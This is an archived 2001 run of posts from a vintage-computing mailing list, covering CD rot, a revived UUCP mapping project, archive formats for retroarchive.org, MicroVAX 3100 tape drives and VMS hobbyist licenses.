smart.net Mon Jun 18 20:27:04 2001 From: rdd at smart.net (R. D. Davis) Date: Sun Feb 27 19:04:35 2005 Subject: CD Eating Fungus? In-Reply-To: <3B2EA0A7.D4B7E21F@rain.org> Message-ID: On Mon, 18 Jun 2001, Marvin wrote: > A friend of mine sent this to me, but I don't know if it is valid or a hoax. Well, considering that old camera lenses often suffer from fungi, just as mildew can attack floppies and tapes, it would surprise me not that CDs can become afflicted with it as well. I wonder if only the aluminum CDs are the problem, or if those gold CDs from Kodak are also affected. Does anyone recall the audiophile debates several years ago that pertained to something called "CD rot," using that as one reason why vinyl records were superior for long-term storage. I thought that the "CD rot" they spoke of only had to do with disintegration of the plastic and then oxitation of the metal layer. -- Copyright (C) 2001 R. D. Davis The difference between humans & other animals: All Rights Reserved an unnatural belief that we're above Nature & rdd@perqlogic.com 410-744-4900 her other creatures, using dogma to justify such http://www.perqlogic.com beliefs and to justify much human cruelty. From vaxcat at retrocomputing.com Mon Jun 18 20:22:46 2001 From: vaxcat at retrocomputing.com (Anthony Clifton - Retrocomputing.com) Date: Sun Feb 27 19:04:35 2005 Subject: VUNIC Surprise (Announcement 1) In-Reply-To: References: <200106182054.NAA12432@stockholm.ptloma.edu> Message-ID: I just wanted to express my appreciation and surprise at the (shall I call it) excitement and interest that has been generated by my suggestion that we use UUCP to connect vintage machines. Over the next couple weeks, I'm going to develop a working document and working group structure (not TOO structured!) to restart the UUCP Mapping Project (the whole thing, not just for vintage machines), put up the web site for VUNIC/VUnet and build a hub machine... possibly out the MVax 3100 or one of the Suns I'm getting this weekend running NetBSD. I'm just going to manage the Mapping Project, build a regional hub for the upper midwest and put resources and information on a web site. Several folks here have offered to help with these efforts and I'll be contacting you next week to see about getting stuff actually rolling. It's not my intention to try to influence the use of UUCP or to try to control who builds hubs, backbones, etc...I'll leave that to everyone else. I think the idea of creating an alternate Usenet and spam-free mail transports are absolutely wonderful ideas. I also want to encourage the use of UUCP for transferring files and making them easily available, in archive form, for others to retrieve. In Announcement 2, I'll mention more about this. Anthony Clifton COO/CTO - Captain Jack Communications Owner - Clifton Digital Resources Founder - The Internet User's Group of Iowa From vaxcat at retrocomputing.com Mon Jun 18 20:26:34 2001 From: vaxcat at retrocomputing.com (Anthony Clifton - Retrocomputing.com) Date: Sun Feb 27 19:04:35 2005 Subject: retroarchive.org (Announcement 2) In-Reply-To: References: <200106182054.NAA12432@stockholm.ptloma.edu> Message-ID: I'm pleased to announce that, very soon, I'll be taking over the retroarchive.org web site from Gene Buckle. The site includes around 600 megs of files, primarily for CP/M, but increasingly for other OS's and platforms as well. In addition, I'm going to place the files on the regional hub so that they can be retrieved via UUCP...to make it easier to get them directly onto vintage machines without having to use conversion software. To do this, however, I may need to use another common archive format. My concern is that alot of vintage machines may not be able to handle zip files. Suggestions for a format? Thanks! Anthony Clifton Des Moines, Iowa From spectre at stockholm.ptloma.edu Mon Jun 18 20:44:57 2001 From: spectre at stockholm.ptloma.edu (Cameron Kaiser) Date: Sun Feb 27 19:04:35 2005 Subject: Tomy Tutor and Secret Weapons of Commodore updates Message-ID: <200106190144.SAA09304@stockholm.ptloma.edu> Well, as sort of a pre-emptive thing while the DNS updates, the Commodore (and Tomy) services I've maintained on retrobits.com with the generous support of Earl Evans have now moved off to my own server. Fortunately for y'all, you can still access them under the retrobits.com addresses; it will redirect to the floodgap site until I figure out what to do next. Hidden in here is a new update for Secret Weapons of Commodore, by the way (when you get the 16 June-dated ninth edition, you're ready). There's now a completely new entry on the *original Lorraine prototype*, along with shots of the unit and the boards, plus concept sketches, of the unit that Dale Luck showed off at the last VCF (4.0) in San Jose; complete photographs and a completed entry on the *Commodore Cash Register* "PET Register" (thanks to Ric Rainbolt); additional photographs for the Ultimax (thanks to Rayzor); additional photographs of the 900 plus new technical information on expansion cards and peripherals from (I suspect) Dave Haynie, though the original information was unattributed; and lots of news clippings scattered about the site courtesy of Anthony Beckett, including the LCD, 1572 and 900. Also a lot of custodial updates, as well. I'll start loading in the backlog into Commodore Knowledge Base in the near future. The Tomy Tutor site on retrobits also got an update, for those curious. If your DNS has already updated, you too can enjoy an updated cartridge list with most of the Japanese imports now added, more programming information and keyword analysis, and now a growing memory map of the Tomy's VDP usage for all you Tutor hackers. :-P Again, the address(es) is (are) the same; just wait for your ISP's DNS to update if you keep getting the old site. http://www.retrobits.com/ckb/ http://www.retrobits.com/ckb/secret/ http://www.retrobits.com/tomy/ -- ----------------------------- personal page: http://www.armory.com/~spectre/ -- Cameron Kaiser, Point Loma Nazarene University * ckaiser@stockholm.ptloma.edu -- This message will self-destruct in five seconds. Good luck, Jim. -- M:I ---- From jhellige at earthlink.net Mon Jun 18 20:42:41 2001 From: jhellige at earthlink.net (Jeff Hellige) Date: Sun Feb 27 19:04:35 2005 Subject: CD Eating Fungus? In-Reply-To: References: Message-ID: >Does anyone recall the audiophile debates several years ago that >pertained to something called "CD rot," using that as one reason why >vinyl records were superior for long-term storage. I thought that the >"CD rot" they spoke of only had to do with disintegration of the >plastic and then oxitation of the metal layer. I recall those arguments...it was also one of the reasons it was said that MO disks were superior to CD-R media. As far as I recall, it was said to also get into the disk by going between the sandwhich layers and it appeared on an affected disk as black spots. Couldn't a fungus attach itself to the adhesive used to bond the various layers of a CD-R? If not a fungus, it certainly seems reasonable that the aluminum surface could possibly oxidize after a while. Jeff -- Collector of Classic Microcomputers and Video Game Systems: Home of the TRS-80 Model 2000 FAQ File http://www.geocities.com/siliconvalley/lakes/6757 From thompson at mail.athenet.net Mon Jun 18 20:41:38 2001 From: thompson at mail.athenet.net (Paul Thompson) Date: Sun Feb 27 19:04:35 2005 Subject: Today's Exciting Acquisition & Microvax 3100 Question In-Reply-To: Message-ID: You won't need a DEC drive specifically, but you will need one which supports 512 byte sectors and one which supports booting. On Mon, 18 Jun 2001, Anthony Clifton - Retrocomputing.com wrote: > > At any rate, can I simply connect that drive to the machine and > use it to load things off cd? Or do I need a specifically DEC drive? > > Thanks! > > Anthony Clifton > > -- From vaxcat at retrocomputing.com Mon Jun 18 20:46:46 2001 From: vaxcat at retrocomputing.com (Anthony Clifton - Retrocomputing.com) Date: Sun Feb 27 19:04:35 2005 Subject: Interest in UUCP? In-Reply-To: <200106190047.f5J0ldA00954@bg-tc-ppp1235.monmouth.com> References: from Bill Gunshannon at "Jun 18, 2001 08:57:00 am" Message-ID: Bill, See my announcements on the list. I was already in the process of doing this. I was going to put up a NIC to let people reserve host names and a map database and start publishing the global maps to comp.mail.maps again. Of course, if someone really wants to do it, there's nothing I can do to stop them nor would I in all likelihood. But I just didn't think it was a good idea to duplicate efforts. BTW, they killed the mapping project last year in August or September. Anthony Clifton Des Moines, Iowa >> Is anyone still maintaining UUCP maps?? Hmmm. I wonder what flows in >> that newsgroup nowdays?? >> >> bill >> >> -- >> Bill Gunshannon | de-moc-ra-cy (di mok' ra see) n. Three wolves >> bill@cs.scranton.edu | and a sheep voting on what's for dinner. >> University of Scranton | >> Scranton, Pennsylvania | #include > >They killed the mapping project about 5 years back (or was it 7). > >Damned shame... > >Time to do it right. Gonna have to find the map parsing >stuff... and give it a go. > >Bill >--- > Bill Gates is a Persian cat and a monocle away from being a > villain in a James Bond movie -- Dennis Miller > bpechter@shell.monmouth.com|pechter@pechter.dyndns.org From ken at seefried.com Mon Jun 18 21:01:26 2001 From: ken at seefried.com (Ken Seefried) Date: Sun Feb 27 19:04:35 2005 Subject: Digalog computer?? was Re: VME connector name? In-Reply-To: <200106190047.TAA63889@opal.tseinc.com> References: <200106190047.TAA63889@opal.tseinc.com> Message-ID: <20010619020126.6257.qmail@mail.seefried.com> From: ard@p850ug1.demon.co.uk (Tony Duell) >I don't know this machine at all, but I suspect that the rack height is >actually 5.25" (which is called '3U'). The boards sound like single >height standard eurocards, which are 100mm high by 160mm deep. Getting >prototyping boards for this machine is no problem :-) Well...he didn't say wether the cards are vertical or horizontal. It could be that he's got a 6U VME backplane with only P1 connectors, especially if it's an old computer. >Unfortunately, the DIN41612 connector was used for many buses, not just >VME. This is definately true, probably because they are fairly mechanically reliable. Ken Seefried, CISSP From tony.eros at machm.org Mon Jun 18 21:09:27 2001 From: tony.eros at machm.org (Tony Eros) Date: Sun Feb 27 19:04:35 2005 Subject: Announcing VUNIC/VUnet In-Reply-To: <200106190042.f5J0gfj00725@bg-tc-ppp1235.monmouth.com> References: <200106182057.NAA11206@stockholm.ptloma.edu> Message-ID: <5.0.2.1.0.20010618220744.038580c0@mail.njd.concentric.com> Well, don't listen to Barney, he's just a clone, but maybe "uh, Clem" has the right idea... -- Tony At 08:41 PM 6/18/2001 -0400, you wrote: > > > > > I think there's a lot of...going "forward into the past" (tm, > Firesign > > > > > Theatre). > > > > > > > > Classic computist *and* firehead... now, how do I send this message, > > > > ah, perhaps it's this little chromium switch here > > > > > > ?UNHAPPY MACNAM > > > > Hey, man, you broke the President! (Hey, Pablo? He broke the President!) > > > >Perhaps the password should be "Read Me Doctor Memory..." > >Bill > >--- > Bill Gates is a Persian cat and a monocle away from being a > villain in a James Bond movie -- Dennis Miller > bpechter@shell.monmouth.com|pechter@pechter.dyndns.org From bdc at world.std.com Mon Jun 18 21:24:05 2001 From: bdc at world.std.com (Brian Chase) Date: Sun Feb 27 19:04:35 2005 Subject: retroarchive.org (Announcement 2) In-Reply-To: Message-ID: On Mon, 18 Jun 2001, Anthony Clifton - Retrocomputing.com wrote: > I'm pleased to announce that, very soon, I'll be taking over the > retroarchive.org web site from Gene Buckle. The site includes > around 600 megs of files, primarily for CP/M, but increasingly > for other OS's and platforms as well. > > In addition, I'm going to place the files on the regional hub so > that they can be retrieved via UUCP...to make it easier to get > them directly onto vintage machines without having to use > conversion software. > > To do this, however, I may need to use another common archive > format. My concern is that alot of vintage machines may not be > able to handle zip files. Suggestions for a format? Well, ideally it'd probably be nice to have everything archived in some format which is most appropriate for whatever system on which the files are intended to be read. I don't know how practical that is. One line of thinking would be that if you have lots of disk space in the archive, then just keep multiple copies of everything in a handful of the most popular file archive formats. Another line of thinking would be that if you have lots of computer cycles to spare, then keep everything in some standard format and convert it to the desired format requested by the end user. I think this would be a great way to handle it assuming the conversions can be run, but it results in a lot of work for the archive syste. My thoughts would be to maintain a central repository of compactly compressed files, then leverage UUCP's distributed nature to dilute the computation intensive conversion problem. So let's say the central archive server has the name "archive". You'd then setup other translation hosts around the archive server to get the file to you in the format you wanted. For example, if you wanted the .zip version of the archive, you'd access the archive through the "transzip" host in the path archive!transzip!foo!bar!myhost If you wanted the .lzh version of the file, you'd use the path archive!translzh!foo!bar!myhost etc... I don't know how you'd actually go about implementing this so that the transzip and translzh hosts would automatically take the central archive copy and convert it to the appropriate translated copy. But I think it would be neat if it's possible. And of course I'd imagine it such that anyone who wanted to setup a translation host of one type or another would be able to do so. It's not like there'd be only one host for each archive type. Maybe I'd have my own host named "brizip". archive!foo!bar!brizip!myhost You'd just have to drag the file through some system which would know how to translate archives. Again, I've no idea how this would actually work, but I think it's got a sort of intuitive feel to it. -brian. From glinder at ews.uiuc.edu Mon Jun 18 21:32:02 2001 From: glinder at ews.uiuc.edu (Greg Linder) Date: Sun Feb 27 19:04:35 2005 Subject: Have some bits for the cost of shipping- In-Reply-To: Message-ID: I dug some fun bits out of a local surplus place, and want to know if anyone here wants these- I saved them only to put up here, because I would rather they float out to the Classicmp world than get chopped to pieces. * AT&T Unix PC/ 3B1- I have one of these at my house, with a lot of cards and docs and stuff. I saved this one out of a dumpster. It boots up okay, is really pretty clean, although the keyboard is kind of dirty. Has all its keys, drive sounds good, fans spin, pretty nice shape all in all. * Zenith SuperSport 286 laptop- I grabbed this mainly because it had the battery pack with it, and the one I got seems to hold a charge- I charged it up last week, and it still goes now. Something like a 20 meg disk and 640k ram. I have a suitably vintage 386 I use mainly for Telix to work on my headless VAXes when the network goes down, and don't need this one- Has power supply, battery, and a typing tutor on the HD, just in case you need to brush up.. * Slightly newer than 10 years- An IBM POWERServer 340H. About the size of a PC-XT case. Not a big rolly one. This one is pretty full of memory, boots up allright, except it seems some of its happy bits were NFS mounted- It comes to a login prompt, but as usual I have no password. I really would like to keep this machine, but I don't see myself having time to work on it any time in the near future. According to the brief research I did, none of the free Unices support this yet- You'll have to use AIX. If you are interested in any of the items above, feel free to give me an email- It's yours for the cost of shipping, or pickup around Chicago or central illinois area. Thanks! Greg Linder glinder@uiuc.edu From vaxcat at retrocomputing.com Mon Jun 18 21:34:43 2001 From: vaxcat at retrocomputing.com (Anthony Clifton - Retrocomputing.com) Date: Sun Feb 27 19:04:35 2005 Subject: Today's Exciting Acquisition & Microvax 3100 Question In-Reply-To: References: Message-ID: >You won't need a DEC drive specifically, but you will need one which >supports 512 byte sectors and one which supports booting. BTW, I checked out the machine. It contains a 2.15 gig Seagate and a 1.05 gig RZ26L in addition to another drive that I could not identify. The expansion box appears to contain a TK50 drive as it had a TK50 tape in it. To be honest, I've never seen a TK70. So could it be a TK70 with a TK50 tape in it? Can a TK70 read/write a TK50 tape? (Silly questions I know.) The point is, I should be able to use this machine to download NetBSD and write tapes so I can install it on my MicroVax II as well as this machine. Fun! Now I have to see if I have an appropriate CD-Rom drive for it. =) Anthony Clifton Des Moines, Iowa From geneb at deltasoft.com Mon Jun 18 21:48:24 2001 From: geneb at deltasoft.com (Gene Buckle) Date: Sun Feb 27 19:04:35 2005 Subject: Interest in UUCP? References: fromBill Gunshannon at "Jun 18, 2001 08:57:00 am" Message-ID: <00ae01c0f86a$4f6c18c0$09c7fec7@uberbox> Gee, can I reserve kremvax? :) g. ----- Original Message ----- From: "Anthony Clifton - Retrocomputing.com" To: Cc: Sent: Monday, June 18, 2001 6:46 PM Subject: Re: Interest in UUCP? > > Bill, > > See my announcements on the list. I was already in the process of doing > this. I was going to put up a NIC to let people reserve host names and a > map database and start publishing the global maps to comp.mail.maps > again. > > Of course, if someone really wants to do it, there's nothing I can do to > stop them nor would I in all likelihood. But I just didn't think it was a good > idea to duplicate efforts. > > BTW, they killed the mapping project last year in August or September. > > Anthony Clifton > Des Moines, Iowa > > >> Is anyone still maintaining UUCP maps?? Hmmm. I wonder what flows in > >> that newsgroup nowdays?? > >> > >> bill > >> > >> -- > >> Bill Gunshannon | de-moc-ra-cy (di mok' ra see) n. Three wolves > >> bill@cs.scranton.edu | and a sheep voting on what's for dinner. > >> University of Scranton | > >> Scranton, Pennsylvania | #include > > > >They killed the mapping project about 5 years back (or was it 7). > > > >Damned shame... > > > >Time to do it right. Gonna have to find the map parsing > >stuff... and give it a go. > > > >Bill > >--- > > Bill Gates is a Persian cat and a monocle away from being a > > villain in a James Bond movie -- Dennis Miller > > bpechter@shell.monmouth.com|pechter@pechter.dyndns.org > > > From geoffrob at stmarks.pp.catholic.edu.au Mon Jun 18 22:03:29 2001 From: geoffrob at stmarks.pp.catholic.edu.au (Geoff Roberts) Date: Sun Feb 27 19:04:35 2005 Subject: Wave of the Future References: <3.0.5.32.20010618112357.007bb270@yellow.ucdavis.edu> Message-ID: <004101c0f86c$6b95a6e0$de2c67cb@stmarks.pp.catholic.edu.au> ----- Original Message ----- From: "Edwin P. Groot" To: Sent: Tuesday, June 19, 2001 3:53 AM Subject: Re: Wave of the Future > What is this crap? A robot fishing for active email addresses? Right at first guess. Just crap. Spam. The quotation regards a bill that never made it into law, but lots of spammers keep quoting it anyway. Until the US cleans up it's act and makes it unlawful (with sufficiently scary penalties) to stop them advertising their crap to the entire universe you will see this garbage, relayed by various devious means, to whatever email addresses they can find and make into lists that are then sold to would be entrepreneurs. What pisses me off is that they are too stupid (and doubtless don't give a shit anyway) to remove non US addresses, we have to filter a host of irrelevant crap here at our mail server. Oh, and the 'remove' list either:- 1) doesn't exist 2) did exist but has been either flooded and closed or just closed by yahoo once someone tipped them off it was there. 3) is an address confirmation site, msging it confirms a 'live' email address and you get another flood of fresh spam. 4) both 2) and 3) above. The expressions "Ugly American" and "Yankee Trader" spring to mind.... Geoff in Oz From healyzh at aracnet.com Mon Jun 18 22:06:30 2001 From: healyzh at aracnet.com (healyzh@aracnet.com) Date: Sun Feb 27 19:04:35 2005 Subject: Today's Exciting Acquisition & Microvax 3100 Question In-Reply-To: from "Anthony Clifton - Retrocomputing.com" at Jun 18, 2001 09:34:43 PM Message-ID: <200106190306.f5J36Uw21893@shell1.aracnet.com> > BTW, I checked out the machine. It contains a 2.15 gig Seagate and a > 1.05 gig RZ26L in addition to another drive that I could not identify. Nice. Lots of room there for a VAX. > The expansion box appears to contain a TK50 drive as it had a TK50 > tape in it. To be honest, I've never seen a TK70. So could it be a > TK70 with a TK50 tape in it? Can a TK70 read/write a TK50 tape? I'm assuming it's a Half-Hieght drive? If so it's a TZ30. I'm not aware of there ever having been a SCSI TK70. > The point is, I should be able to use this machine to download NetBSD > and write tapes so I can install it on my MicroVax II as well as this > machine. Fun! Erm, not sure why you'd want to. If you're going to have a real OS on the MicroVAX 3100 (VMS), I'm not sure if you'll be able to write out NetBSD anyway. Remember my motto, it's a VAX, it should be running VMS! :^) > Now I have to see if I have an appropriate CD-Rom drive for it. =) A new Plextor drive would work, as would any Sun or SGI Bootable drive. Zane From vaxcat at retrocomputing.com Mon Jun 18 22:43:35 2001 From: vaxcat at retrocomputing.com (Anthony Clifton - Retrocomputing.com) Date: Sun Feb 27 19:04:35 2005 Subject: Today's Exciting Acquisition & Microvax 3100 Question In-Reply-To: <200106190306.f5J36Uw21893@shell1.aracnet.com> References: from "Anthony Clifton - Retrocomputing.com" at Jun 18, 2001 09:34:43 PM Message-ID: >> The expansion box appears to contain a TK50 drive as it had a TK50 >> tape in it. To be honest, I've never seen a TK70. So could it be a >> TK70 with a TK50 tape in it? Can a TK70 read/write a TK50 tape? > >I'm assuming it's a Half-Hieght drive? If so it's a TZ30. I'm not aware of >there ever having been a SCSI TK70. > It's a half height drive. Ah, so a TZ30 is just a SCSI TK50? Can I use the tapes I write in my TK50 on my MVax II? (I lost track of DEC stuff after the MVax II. Kinda sad really.) >Erm, not sure why you'd want to. If you're going to have a real OS on the >MicroVAX 3100 (VMS), I'm not sure if you'll be able to write out NetBSD >anyway. Remember my motto, it's a VAX, it should be running VMS! :^) > I'm not opposed to this. Of course, then I'd probably use one of the Suns for a uucp gateway. Though, if I'm really serious, I should probably just allocate a linux box to the task. I suppose I'm not completely against running VMS on it though I can't afford the hobbyist license right now. ($100 isn't it? Or is that for the Unix hobbyist license?) I used to do ALOT of stuff on VMS Vaxen and have even toyed with the idea of having a nice one around to telnet into just to say I can. I'm just not sure I'd want to USE it for anything, however. I suppose I feel the same way about Vaxen that I do about Intel boxes. Perfectly acceptable hardware, horrible default operating systems. Intel - Linux Vaxen - NetBSD =-) Anthony Clifton Des Moines, Iowa From healyzh at aracnet.com Mon Jun 18 23:06:29 2001 From: healyzh at aracnet.com (healyzh@aracnet.com) Date: Sun Feb 27 19:04:35 2005 Subject: Today's Exciting Acquisition & Microvax 3100 Question In-Reply-To: from "Anthony Clifton - Retrocomputing.com" at Jun 18, 2001 10:43:35 PM Message-ID: <200106190406.f5J46T023963@shell1.aracnet.com> > It's a half height drive. Ah, so a TZ30 is just a SCSI TK50? Can I use the > tapes I write in my TK50 on my MVax II? (I lost track of DEC stuff after > the MVax II. Kinda sad really.) Yes, the TZ30 is a SCSI TK50 drive, not to be confused with the TK50Z, which is a full hieght SCSI TK50. > I suppose I'm not completely against running VMS on it though I can't > afford the hobbyist license right now. ($100 isn't it? Or is that for the > Unix hobbyist license?) I used to do ALOT of stuff on VMS Vaxen and have > even toyed with the idea of having a nice one around to telnet into just > to say I can. I'm just not sure I'd want to USE it for anything, however. The Hobbyist license that costs $100 is Tru64 for Alpha. VMS is free with a DECUS (OK, now it's Encompass) membership, and the media kit if you need it is something like $20 (I forget what). > I suppose I feel the same way about Vaxen that I do about Intel boxes. > Perfectly acceptable hardware, horrible default operating systems. > > Intel - Linux > Vaxen - NetBSD =-) Not quite.... Intel - Linux or Solaris VAXen & Alpha - OpenVMS DECstation - NetBSD Sparc - Solaris Zane From foo at siconic.com Mon Jun 18 22:16:07 2001 From: foo at siconic.com (Sellam Ismail) Date: Sun Feb 27 19:04:35 2005 Subject: retroarchive.org (Announcement 2) In-Reply-To: Message-ID: On Mon, 18 Jun 2001, Anthony Clifton - Retrocomputing.com wrote: > In addition, I'm going to place the files on the regional hub so that > they can be retrieved via UUCP...to make it easier to get them > directly onto vintage machines without having to use conversion > software. Very cool. > To do this, however, I may need to use another common archive format. > My concern is that alot of vintage machines may not be able to handle > zip files. Suggestions for a format? I think a version of UNZIP was written for just about every old computer at some point or another (I know an Apple ][ version was eventually written in the late 80s). Sellam Ismail Vintage Computer Festival ------------------------------------------------------------------------------ International Man of Intrigue and Danger http://www.vintage.org From dittman at dittman.net Mon Jun 18 23:28:19 2001 From: dittman at dittman.net (Eric Dittman) Date: Sun Feb 27 19:04:35 2005 Subject: Today's Exciting Acquisition & Microvax 3100 Question In-Reply-To: from "Anthony Clifton - Retrocomputing.com" at Jun 18, 2001 10:43:35 PM Message-ID: <200106190428.f5J4SJ407572@narnia.int.dittman.net> > >> The expansion box appears to contain a TK50 drive as it had a TK50 > >> tape in it. To be honest, I've never seen a TK70. So could it be a > >> TK70 with a TK50 tape in it? Can a TK70 read/write a TK50 tape? > > > >I'm assuming it's a Half-Hieght drive? If so it's a TZ30. I'm not aware of > >there ever having been a SCSI TK70. > > > It's a half height drive. Ah, so a TZ30 is just a SCSI TK50? Can I use the > tapes I write in my TK50 on my MVax II? (I lost track of DEC stuff after > the MVax II. Kinda sad really.) The TZ30 is compatible with the TK50. There are also SCSI TK50 drives, but they are full-height. I never got around to using a TZ30, even though there are a couple around at work. We just don't have anything on TK50-formatted tapes. I went from a TK50 to a TK70 to an Exabyte 8200 to a TLZ04 to a DLT4000, so I don't know how the TZ30 is in terms of speed and reliability compared to a TK50. I remember going through a few TK50 drives, most of which where due to people abusing the drives. The 8200 drive seemed to wear out about every six months, even with proper cleaning. I never had a problem with my TLZ04 or my DLT4000. At work we have TZ867 and TZ877 drives, and it seems we have about one replaced every three months, but they get a LOT of use, and if we have any glitches that can't be explained on a bad tape or operator error the drive gets replaced. If the TZ30 is anything like the TK50 I'd limit using it to just reading existing TK50-formatted tapes and get a cheap TLZ04 or TLZ06 from eBay for backups. > I suppose I'm not completely against running VMS on it though I can't > afford the hobbyist license right now. ($100 isn't it? Or is that for the > Unix hobbyist license?) I used to do ALOT of stuff on VMS Vaxen and have > even toyed with the idea of having a nice one around to telnet into just > to say I can. I'm just not sure I'd want to USE it for anything, however. The OpenVMS Hobbyist program is free. The Tru64 Enthusiast program costs $100. I have one VAX system (and one Charon-VAX emulator) and three Alphas running VMS and one Alpha running Tru64 V5.1. I only have the Alpha running Tru64 for keeping up with Tru64. I really prefer VMS. > I suppose I feel the same way about Vaxen that I do about Intel boxes. > Perfectly acceptable hardware, horrible default operating systems. > > Intel - Linux > Vaxen - NetBSD =-) Horrible default operating system? Hah! A VAX should only run VMS or, if necessary, VAXELN. [warning, topic drift ahead!] I haven't had to deal with ELN for a couple of years now. I never got deep into ELN on purpose, but where I used to work we had a Schlumberger S90 memory tester that was MVII-based running an old version of ELN. We were having performance problems getting some vectors generated quickly during test (the parts were taking several minutes to test) so it was decided to try to port the software to a new version of ELN so it would run on a VAX 4000-105A with a QBUS adapter. Unfortunately, I only had a month to get the port working and it took a long time to just get the sofware modified to compile with the new version. I ran out of time to get any timing problems fixed as I could only have the tester at limited times to debug. Rather than go ahead and buy the 4000 management decreed we return the demo unit. The manager acted like any money spent in the department came out of his personal bank account. He used to gloat about how he was the only manager that always had a surplus in the budget every year, while those of us working in the department had to deal with obsolete equipment and limited supplies. If the porting project would have been impossible due to the timing issues we still would have had a huge performance increase over our host MV3900. On the 3900 compiling the S90 test programs (written in VAXELN Pascal) took about 15 minutes. On the 4000 the time went down to about 2 minutes. -- Eric Dittman dittman@dittman.net From jim at calico.litterbox.com Mon Jun 18 23:41:12 2001 From: jim at calico.litterbox.com (Jim Strickland) Date: Sun Feb 27 19:04:35 2005 Subject: retroarchive.org (Announcement 2) In-Reply-To: from "Sellam Ismail" at Jun 18, 2001 08:16:07 PM Message-ID: <200106190441.WAA12222@calico.litterbox.com> > > On Mon, 18 Jun 2001, Anthony Clifton - Retrocomputing.com wrote: > > > In addition, I'm going to place the files on the regional hub so that > > they can be retrieved via UUCP...to make it easier to get them > > directly onto vintage machines without having to use conversion > > software. > > Very cool. > > > To do this, however, I may need to use another common archive format. > > My concern is that alot of vintage machines may not be able to handle > > zip files. Suggestions for a format? > > I think a version of UNZIP was written for just about every old computer > at some point or another (I know an Apple ][ version was eventually > written in the late 80s). ARC might be another good choice, I know it exists for Commodore 64. > > Sellam Ismail Vintage Computer Festival > ------------------------------------------------------------------------------ > International Man of Intrigue and Danger http://www.vintage.org > -- Jim Strickland jim@DIESPAMMERSCUMcalico.litterbox.com ----------------------------------------------------------------------- BeOS Powered! ----------------------------------------------------------------------- From gunther at aurora.regenstrief.org Mon Jun 18 23:43:49 2001 From: gunther at aurora.regenstrief.org (Gunther Schadow) Date: Sun Feb 27 19:04:35 2005 Subject: VUNIC/VUnet Update References: <200106161701.KAA23276@homer.ssl.berkeley.edu> Message-ID: <3B2ED885.C687E7F4@aurora.regenstrief.org> "Anthony Clifton - Retrocomputing.com" wrote: > The thing will be dirt simple and ugly but we won't let that trouble us. =) just do it the original way and it'll be fine. > In the meantime, I'm reserving names on a first-come-first-served basis. I'll take "phicus" (tho don't believe others would claim that name before me.) > I may have to come back to folks and collect further information so the > database will be compatible with the UUCP Mapping Project databases, > which they discontinued last year. > > One concern I have is that, even though I've stated that my purpose is > primarily to help Vintage computer collectors, that the general UUCP > will want me to maintain a GLOBAL map. I'm not opposed to this but I'd > need ALOT of help to keep it up to date, etc. Or maybe not. Well, only vintage people will use UUCP these days to communicate globally. I have three more thoughts: 1) Evi Nemeth, Unix System Administration Handbook contains a chapter on uucp. That book is a book to have anyway. 2) The manual pages on uucp(1), uux(1), and uucico(8) are right there in evey good BSD installation. 3) Last time I looked into my sendmail.cf file, I found mention of a uucp relay, don't know where that has gone. 4) I guess the real fun of uucp is if we do this using dialup modems. 5) Is there UUCP for the Commodore 64? 6) If what you're really interested in is just another network, you can do the same with TCP/IP using the 10.0.0.0/8 network. Isildur has started the NX network already. 7) you asked for an archive format, this will be close to impossible to resolve on a true multi-platform basis, but you don't really care because most of the files you want to transfer are platform specific anyway. -Gunther -- Gunther Schadow, M.D., Ph.D. gschadow@regenstrief.org Medical Information Scientist Regenstrief Institute for Health Care Adjunct Assistant Professor Indiana University School of Medicine tel:1(317)630-7960 http://aurora.regenstrief.org From donm at cts.com Mon Jun 18 23:59:56 2001 From: donm at cts.com (Don Maslin) Date: Sun Feb 27 19:04:36 2005 Subject: CD Eating Fungus? In-Reply-To: Message-ID: On Mon, 18 Jun 2001, Jeff Hellige wrote: > >Does anyone recall the audiophile debates several years ago that > >pertained to something called "CD rot," using that as one reason why > >vinyl records were superior for long-term storage. I thought that the > >"CD rot" they spoke of only had to do with disintegration of the > >plastic and then oxitation of the metal layer. > > I recall those arguments...it was also one of the reasons it > was said that MO disks were superior to CD-R media. As far as I > recall, it was said to also get into the disk by going between the > sandwhich layers and it appeared on an affected disk as black spots. > Couldn't a fungus attach itself to the adhesive used to bond the > various layers of a CD-R? If not a fungus, it certainly seems > reasonable that the aluminum surface could possibly oxidize after a > while. Yes, but "leaving nothing behind." NOTHING? Hard to believe. - don > Jeff > -- > Collector of Classic Microcomputers and Video Game Systems: > Home of the TRS-80 Model 2000 FAQ File > http://www.geocities.com/siliconvalley/lakes/6757 > > From vaxcat at retrocomputing.com Tue Jun 19 00:04:45 2001 From: vaxcat at retrocomputing.com (Anthony Clifton - Retrocomputing.com) Date: Sun Feb 27 19:04:36 2005 Subject: Today's Exciting Acquisition & Microvax 3100 Question In-Reply-To: <200106190406.f5J46T023963@shell1.aracnet.com> References: from "Anthony Clifton - Retrocomputing.com" at Jun 18, 2001 10:43:35 PM Message-ID: All right! Between the verbal abuse ;-D from you and Dittman =D, I'm convinced to get an OpenVMS Hobbyist license and run VMS on the 3100. =-D I used to do alot of stuff on VMS so having a couple boxes running it would be fun and interesting. I suppose I could put a static NAT entry in my router and use my homebrew dns2go setup I have in mind to allow buddies to telnet in and run things like vaxphone to talk to me in real time. Anthony Clifton Des Moines, Iowa >Not quite.... >Intel - Linux or Solaris >VAXen & Alpha - OpenVMS >DECstation - NetBSD >Sparc - Solaris From donm at cts.com Tue Jun 19 00:19:24 2001 From: donm at cts.com (Don Maslin) Date: Sun Feb 27 19:04:36 2005 Subject: retroarchive.org (Announcement 2) In-Reply-To: Message-ID: On Mon, 18 Jun 2001, Sellam Ismail wrote: > On Mon, 18 Jun 2001, Anthony Clifton - Retrocomputing.com wrote: > > > In addition, I'm going to place the files on the regional hub so that > > they can be retrieved via UUCP...to make it easier to get them > > directly onto vintage machines without having to use conversion > > software. > > Very cool. > > > To do this, however, I may need to use another common archive format. > > My concern is that alot of vintage machines may not be able to handle > > zip files. Suggestions for a format? > > I think a version of UNZIP was written for just about every old computer > at some point or another (I know an Apple ][ version was eventually > written in the late 80s). I think you may be right, Sellam, but IIRC the version for CP/M is only capable of handling v1.10 compression and not the more current v2.04. - don > Sellam Ismail Vintage Computer Festival > ------------------------------------------------------------------------------ > International Man of Intrigue and Danger http://www.vintage.org > > From vcf at siconic.com Mon Jun 18 23:30:20 2001 From: vcf at siconic.com (Vintage Computer Festival) Date: Sun Feb 27 19:04:36 2005 Subject: Neat book Message-ID: Just thought I'd pass along the title of a very cool book I found. It's called "Digital Magnetic Tape Recording: Principles and Computer Applications" by Bernard Bycer (1965). I imagine this would be very useful for those wanting to develop their own storage systems for re-creational computing projects. I found my copy on ABE 